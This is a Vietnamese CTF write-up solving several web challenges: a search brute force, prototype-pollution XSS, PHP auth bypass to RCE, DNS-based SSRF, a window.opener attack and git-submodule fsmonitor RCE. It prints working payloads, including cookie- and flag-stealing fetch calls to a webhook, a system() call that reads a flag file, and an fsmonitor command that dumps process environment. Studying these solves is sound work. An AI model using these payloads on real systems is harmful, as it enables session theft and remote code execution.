# LEAKCTF
## FlagLeak

### Overview
Đây là 1 trang web có chức năng tìm kiếm với từ khóa dài 3 kí tự .

- Search thì nó trả về kết quả là số lượng bài post chứa từ khóa `count:matchingPost.length`
- Ở API search thì sẽ tự động thay thế `*` đối với nội dung **FLAG** trước khi nó trả về phản hồi
### Solve
- Lỗi ở đây là a dev thực hiện tìm kiếm trước rồi mới thay thế nội dung flag
- Dẫn đến ta có thể bruit force để có thể đoán ra từng kí tự của flag
- Tuy nhiên không thế tùy tiện . Vì đây là thay thế từng kí tự **trong 3 kí tự** Vậy nên rất dễ có tình hướng xảy ra vòng lặp vô hạn ví dụ như
- abcabc

- Như Vậy ta sẽ luôn ở trong vòng lặp vô hạn khi tìm kiếm với dãy 3 kí tự
=> Để giải quyết vấn đề này code sao cho khi ta tìm kiếm hết tất cả rồi lấy kết quả trùng cuối cùng bới vị trí của flag ở cuối cùng

### Conclusion
BruitForce Cần có nhiều điều kiện để tránh rơi vào vòng lặp vô hạn
## NotoriousNote

### Overview
XSS + Pollution Prototype

- Chỉ đến giản là dữ liệu của ta đưa vào hàm sanitizeHTML
- Nhìn vào cấu trúc thư mục => đây là chall về xss của app sau đó gửi cho bot để lấy cookie của bot cũng là flag

### Solve
#### PHÂN TÍCH CODE

=> Đây là đoạn code trính ra thuộc tính của đối tượng
ví dụ đầu vào :
`/?user.name=hxuu&user.age=23`
thì sẽ xuất ra obj có dạng
```code!
{
user: {
name: "hxuu",
age: 23
}
}
```
=> có thể pollution prototype :alien:
#### PHÂN TÍCH LÝ THUYẾT :abacus:
1. Đối tượng trong javascript
- Một đối tượng là tập hợp động các thuộc tính có kí hiệu như sau : `const obj = { key: "value" }`
- Thuộc tính của đối tượng thì chia làm hai loại là :
- Thuộc tính dữ liệu : `obj.key = "value"`
- Thuộc tính truy cập : Giá trị được thay thế bằng hàm

2. Các thuộc tính ẩn của đối tượng
- Khi đối tượng khởi tạo ngoài thuộc tính người dùng định nghĩa còn có thuộc tính được cài đặt tự động để quản lí đối tượng
- [[Get]]: Xác định cách truy xuất giá trị của một thuộc tính.
- [[Set]]: Xác định cách gán giá trị cho một thuộc tính.
- [[Enumerable]]: Quyết định liệu một thuộc tính có được liệt kê trong các phép lặp như for...in hay không.
3. Hàm cũng là 1 đối tượng
- Hàm cũng có thuộc tính ẩn như :
- [[Call]]: Cho phép hàm được gọi như một hàm thông thường (ví dụ: myFunction()).
- [[Construct]]: Cho phép hàm được sử dụng như một hàm khởi tạo (constructor) với từ khóa new
4. Kế thừa và chuỗi nguyên mẫu
- Kế thừa được thực hiện thông qua prototype chain dùng để truy cập vào thuộc tính của đối tượng khác
- `[[GetPrototypeOf]]`: đây là phương thức nội tại trả về đối tượng nguyên mẫu nếu k có thì sẽ để null
- Đối tượng nguyên mẫu (Prototype Object) : được trả về bởi `[[GetPrototypeOf]]` . Nếu không thấy thuộc tính trên đối tượng đó thì chuyển sang đối tượng khác cho đến khí thấy hoặc `null`
5. Thiết lập `[[Prototype]]` và `__proto__`
- Trong JavaScript, `[[Prototype]]` có thể được sửa đổi thông qua thuộc tính `__proto__`
- Thuộc tính __proto__: Đây không phải là một thuộc tính dữ liệu thông thường mà là một thuộc tính truy cập **(accessor property)** được định nghĩa trên **Object.prototype**. Nó có cả **getter** và **setter**, cho phép:
- Getter: Truy xuất giá trị của [[Prototype]].
- Setter: Thay đổi giá trị của [[Prototype]].

#### PHÂN TÍCH HÀM `SanitizeHtml()`
Ta thấy a dev để mặc định
```code
if (!options) {
options = sanitizeHtml.defaults;
options.parser = htmlParserDefaults;
}
```
```code!
if (options.allowedAttributes) {
allowedAttributesMap = {};
allowedAttributesGlobMap = {};
each(options.allowedAttributes, function(attributes, tag) {
allowedAttributesMap[tag] = [];
var globRegex = [];
attributes.forEach(function(obj) {
if (isString(obj) && obj.indexOf("*") >= 0) {
globRegex.push(quoteRegexp(obj).replace(/\\\*/g, ".*"));
} else {
allowedAttributesMap[tag].push(obj);
}
});
allowedAttributesGlobMap[tag] = new RegExp("^(" + globRegex.join("|") + ")$");
});
}
```
- `allowedAttributesMap`: direct attribute whitelists `(e.g. { img: ["src"] })`
- `allowedAttributesGlobMap`: regex-based wildcards `(e.g. { '*': /^(data-.*)$/ })`
Và sau đó là kiểm tra
```code=
if (
!allowedAttributesMap ||
(has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1) ||
(allowedAttributesMap["*"] && allowedAttributesMap["*"].indexOf(a) !== -1) ||
(has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a)) ||
(allowedAttributesGlobMap["*"] && allowedAttributesGlobMap["*"].test(a))
) {
passedAllowedAttributesMapCheck = true;
}
```
- Ta thấy `allowedAttributesMap["*"]` không kiểm tra thực sự `*` có phải của nó hay không
=> sẽ ra sao nếu như ta ghi đè lên `*` và cho thẻ atri `onload` là hợp lệ
=> Bên cạnh đó còn thấy được `iframe` không hề bị cấm trong đoạn dev
#### Kết hợp lại với nhau
Payload
```code!
http://127.0.0.1:5000/?__proto__[*]=['onload']¬e=<iframe onload="fetch('https://webhook?c='+document.cookie)"></iframe>
```
=>`**__proto__[*]=['onload']**`=>`**Object.prototype["*"]=['onload']**`=>`allowedAttributesMap` bị ghi đè thuộc tính `*` từ đó dẫn đến atr `onload` được đi qua và parse trong thẻ `iframe` => XSS
### Conclusion
- Kết hợp xss
- Bỏ qua thẻ `iframe`
- Pollution prototype
- Code js dẫn đến chèn được thuộc tính lạ vào quá dễ dàng
- Không check `hasOwnProperty`
## Certay-rev

### Overview
**Bypass authen + RCE**

- Đây là chall về đăng nhập user
- Bạn vào được phần dashboard sau đó thực thi mã tùy ý do untrusted data rơi vào hàm `eval()`
- 
### Solve
#### PHÂN TÍCH CODE Authen

- Với key là mảng thì `openssl_encrypt` sẽ trả về `null`
=> Như vậy với luận lí trên thì hàm `custom_sign` chứa đến hai giá trị `NULL` đó là hai giá trị cuối
=> Vậy hash sẽ được quyết định bởi `msg`
#### Phân tích code check context trước khi rơi vào `eval`

=> Tác giả miss 1 hàm đó là `call_user_func()`
#### Tạo payload
- Trước tiên là bypass authen đã . Ta sẽ tự tạo hash để trùng với hash mà đoạn mã check
```code!
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
def generate_hash(msg):
# Khóa 32 bytes (256 bits) rỗng cho AES
key = b'\x00' * 32
# IV rỗng 16 bytes cho AES-CBC
iv = b'\x00' * 16
# Tạo cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)
# Padding message theo chuẩn PKCS7
padded_msg = pad(msg.encode('utf-8'), AES.block_size)
# Mã hóa
encrypted = cipher.encrypt(padded_msg)
# Encode base64 (tương tự như PHP openssl_encrypt trả về)
hash_result = base64.b64encode(encrypted).decode('utf-8')
return hash_result
# Tạo hash cho msg='asd'
msg = 'asd'
hash_result = generate_hash(msg)
print(f"Hash cho msg='{msg}': {hash_result}")
# Test với một số message khác
test_messages = ['hello', 'test', '123']
for test_msg in test_messages:
print(f"Hash cho msg='{test_msg}': {generate_hash(test_msg)}")
```
- Để `iv` và `key` là `null` do trong đoạn code tác giả đã miss `$`
- 
- 
=> Hash sẽ được quyết định bới `$msg`
=> Url: sẽ có dạng
```code!
dashboard.php?msg=asd&key[]=&hash=Q4OOvv34fjwnsiOMHfHLLQ==
```
- Ở phía content thì sẽ là :
```code!
?><?php echo "foo";call_user_func('system','cat /tmp/flag.txt');
```
### Conclusion
- Chú ý đến cách tạo hash
- Fillter bằng black list lúc nào cũng sẽ sót `call_user_func`
## DNS Frenzy

### Overview
**SSRF**
#### PHÂN TÍCH CODE

##### `core.py`

##### `main.py`

### Solve
- Check điều kiện quá yếu
- Địa chỉ ip để cụ thể .
- Tên miền chỉ để chứa trong ... `in`
- Để thỏa mãn hai điều kiện dùng wildcard DNS service
- `127.0.0.1.dns_l3ak.ctf.nip.io => 127.0.0.1`
#### Payload
- Comment:
```python!
dig @34.134.162.213 -p 17004 127.0.0.1.dns_l3ak.ctf.nip.io TXT
```
- Code:
```python
import dns.resolver
r = dns.resolver.Resolver()
r.nameservers = ["34.134.162.213"]
r.port = 17004
r.timeout = 60
r.lifetime = 60
response = r.resolve("127.0.0.1.dns_l3ak.ctf.nip.io", "A")
print(response.response.to_text())
```
## Window of opp

### Overview
**CSRF**
- Cấu trúc của bài
```code
.
├── Dockerfile
├── index.js
├── package.json
├── package-lock.json
└── public
├── bg.jpg
└── music.mp3
2 directories, 6 files
```
=> file chính là index.js
- Bài này về viễ giả mạo admin để gửi request đến server : Cụ thể là gửi request đến `/flag` (API nằm trong server )
- 
- Vậy làm thế nào để vào được `/flag`
- Muốn đi vào `/flag` phải thỏa mãn
- Qua được `csrfProtection`
- Check **Token** vai trò là **admin** => Giả mạo token là bất khả thi vì Key đang khó
- LOGIC csrfProtection
- 
- Vậy chỉ còn vướng mỗi kiểm tra token là ta có thể vào được `/flag` => Như đã nói ở trước fake token là không thể :cry:
### Solve
- Đoạn code của anh Dev có hai thứ để tạo ra được lỗ hỏng
- Anh dev tắt SOP
- 
- Anh dev Dùng `window.open()` để truy cập đến trang web
- 
- [Đây là ví dụ của việc dùng `window.open()` để mở trang web khác](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-opener.gif)
- Tuy nhiên nó chỉ đúng trong ngữ cảnh SOP bị tắt như trong chall này
#### Mô tả về window.opener
- Khi ta mở 1 trang web bằng `window.open` từ 1 trang tắt SOP . Nó sẽ lưu con trỏ tại trang tắt SOP .
- Thì tại trang web vừa mở đó dùng lệnh `window.opener.location = "http://challenge/get_flag";` tức là có thể truy cập ngược lại trang web vừa mở đó để lấy nội dung
=> Ta có thể truy cập từ trang A vào trang B mà không có sự ngăn cản nào . Thực hiện lấy nội dung của trang mục tiêu
#### Các bước tấn công
1. Thực hiện truy cập ngược lại trang `window.opener.location = "http://challenge/get_flag";`
2. Đợi load flag rồi lưu vào biến
3. Sau đó gửi ngược lại cho server của atk
```code!
const flagText = window.opener.document.body.innerText;
fetch("https://webhook/?flag="+flagText);
```
4. Trang của atk để truy cập vào
```code!
<!DOCTYPE html>
<html>
<body>
<script>
// Redirect the original admin tab to /get_flag
window.opener.location = "http://challenge/get_flag";
// Wait for admin's tab to load, then steal the flag
setTimeout(() => {
try {
const flagText = window.opener.document.body.innerText;
fetch("https://webhook/?flag="+flagText);
} catch (err) {
console.error("Failed to read flag:", err);
}
}, 400);
</script>
</body>
</html>
```
- Luồng thực hiện để dễ hiểu hơn
```code!
Admin bot
↓ opens attacker.html
Attacker tab
→ window.opener.location = /get_flag
→ waits...
→ reads window.opener.document.body.innerText
→ fetch('https://webhook.site?flag=...')
```
[video minh họa](https://hxuu.github.io/blog/images/l3ak25/window-of-opp-exploit.gif)
### Conclusion
- Hãy lưu ý đến việc mở trang web bằng `window.open()`
- Bật SOP
- Dùng `window.opener` để khai thác CSRF
## GitBad

### Overview

- Upload file zip

#### Mục tiêu của lab
- 
- Chèn `flag` vào trong cơ sở dữ liệu
- Có vẻ là dùng NoSQL để leak được flag ra
#### Một vài API quan trọng
`/api/upload (POST)`

`/api/search (GET)`

### Solve
#### SSRF

- điều đáng chú ý ở đây đó là `run_git_submodule_update`
- Ta có thực hiện query đến URL lạ nếu như có quyền chỉnh URL bên trong **git_submodule**
- Sau đây là đoạn test
- 
- 
- 
- 
Và kết quả sau khi upfile zip lên
- 
=> Đã gửi request được từ trong localhost
#### RCE
- Tuy nhiên SSRF forr fun . Để giải được chall này thì ta sẽ dựa vào việc mà anh dev cập nhật các submodule
```code=
def run_git_submodule_update(git_dir):
"""
Runs git submodule update --init --recursive in the specified directory
"""
try:
result = subprocess.run(
['git', 'submodule', 'update', '--init', '--recursive'],
cwd=git_dir,
capture_output=True,
text=True,
timeout=10
)
if result.returncode == 0:
# Success
output_msg = "Git submodules updated successfully!"
if result.stdout.strip():
output_msg += f"\nOutput: {result.stdout.strip()}"
return {"success": True, "message": output_msg}
else:
error_msg = "Git submodule update failed"
if result.stderr.strip():
error_msg += f": {result.stderr.strip()}"
return {"success": False, "error": error_msg}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Git command timed out (>10 seconds)"}
except FileNotFoundError:
return {"success": False, "error": "Git is not installed on the server"}
except Exception as e:
return {"success": False, "error": f"Git command execution failed: {str(e)}"}
```
- Khi thực thi lệnh `git submodule update --init --recursive`
=> Sẽ thực thi được payload RCE
- Sau đây là các bước để tạo payload RCE
```code=
mkdir exploit && cd exploit
git init
touch README.md && git add README.md && git commit -m "init"
git config protocol.file.allow always => Thiết lập cấu hình Git cho phép sử dụng đường dẫn file (file://) làm URL submodule
mkdir sub && cd sub
git init
touch hello && git add hello && git commit -m "sub init"
cd ..
git submodule add ./sub sub
nano sub/.git/config => thêm dòng này vào fsmonitor = "cat /proc/1/environ >&2 >/app/static/flag.txt; false"
cat sub/.git/config => check lại
cd..
zip -r test.zip exploit
```

- Như ta thấy thì fsmonitor sẽ thực hiện lệnh để RCE viết file ra thư mục con của app
- 
### Conclusion
- RCE thông qua `fsmonitor` nhờ vào việc update submodule => `git submodule update --init --recursive`
- SSRF bằng cách thay thế URL trong file config
## FlagGuessr
